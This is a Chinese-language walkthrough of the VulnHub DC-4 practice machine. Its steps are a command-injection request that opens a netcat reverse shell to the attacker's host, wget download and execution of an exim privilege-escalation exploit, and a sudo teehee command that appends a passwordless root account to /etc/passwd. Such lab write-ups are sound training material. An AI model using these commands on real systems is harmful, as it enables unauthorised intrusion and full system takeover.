环境准备

下载地址:https://www.vulnhub.com/entry/dc-4,313/

开始打靶

扫描存活IP
arp-scan -l
image-20230704210958475
访问出现一个登录界面,我的7万数据大字典都没爆出来。。。难道不是弱口令??靠admin/admin进去了,我的大字典没有??仔细查看发现根本没做密码验证。。。
进入可以执行三个Linux命令
image-20230704211027412
抓个包发现是任意代码执行,直接写入webshell发现存在过滤
image-20230704211037843
base64之后显示写入成功,但是查看又没有文件就很奇怪,看了wp发现直接弹shell,也对啊,都能命令执行了为啥不试试弹个shell呢。。

1
radio=nc+192.168.75.128+6666+-e+/bin/bash&submit=Run

image-20230704211134821
然后用python获取个交互式shell,查看root没有权限

1
python -c 'import pty; pty.spawn("/bin/bash")'

image-20230704211155202

exim提权

然后就是提权了,查看具有suid权限的命令

1
find / -perm -u=s -type f 2>/dev/null

image-20230704211250399
存在exim4这个可以用来提权,查看一下版本
image-20230704211301624
然后msf直接搜相对应的exp
image-20230704211312249
我这里将exp复制到了我的用户目录下,然后用python起了一个临时服务,再在靶机上使用wget下载exp到tmp目录下

1
2
3
4
5
6
7
8
9
10
11
12
www-data@dc-4:/tmp$ wget http://192.168.75.128:8000/46996.sh
wget http://192.168.75.128:8000/46996.sh
--2023-07-04 22:29:12-- http://192.168.75.128:8000/46996.sh
Connecting to 192.168.75.128:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3552 (3.5K) [text/x-sh]
Saving to: '46996.sh'

46996.sh 100%[===================>] 3.47K --.-KB/s in 0s

2023-07-04 22:29:12 (62.2 MB/s) - '46996.sh' saved [3552/3552]

image-20230704211335280
然后给文件赋执行权限再运行即可提升到root

1
2
chmod +x 46996.sh
./46996.sh

image-20230704211344723
root目录下得到flag
image-20230704211352490

teehee提权

这里我直接记录提权的一部分了,前面的直接省略了,感兴趣可以在网上看其他的wp,通过前面的操作可以得到charles用户的密码如下

1
2
su charles
^xHhA&hvim0y #密码

切换到这个用户使用命令sudo -l查看具有root权限的命令
image-20230704211405178
发现有个teehee命令
teehee命令可以写入文件内容并不覆盖文件原有内容
可以用这个命令写入一个无密码的admin用户到/etc/passwd文件,并加入到root组中

1
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

image-20230704211410690
然后切换到admin用户成功变为root权限
image-20230704211418608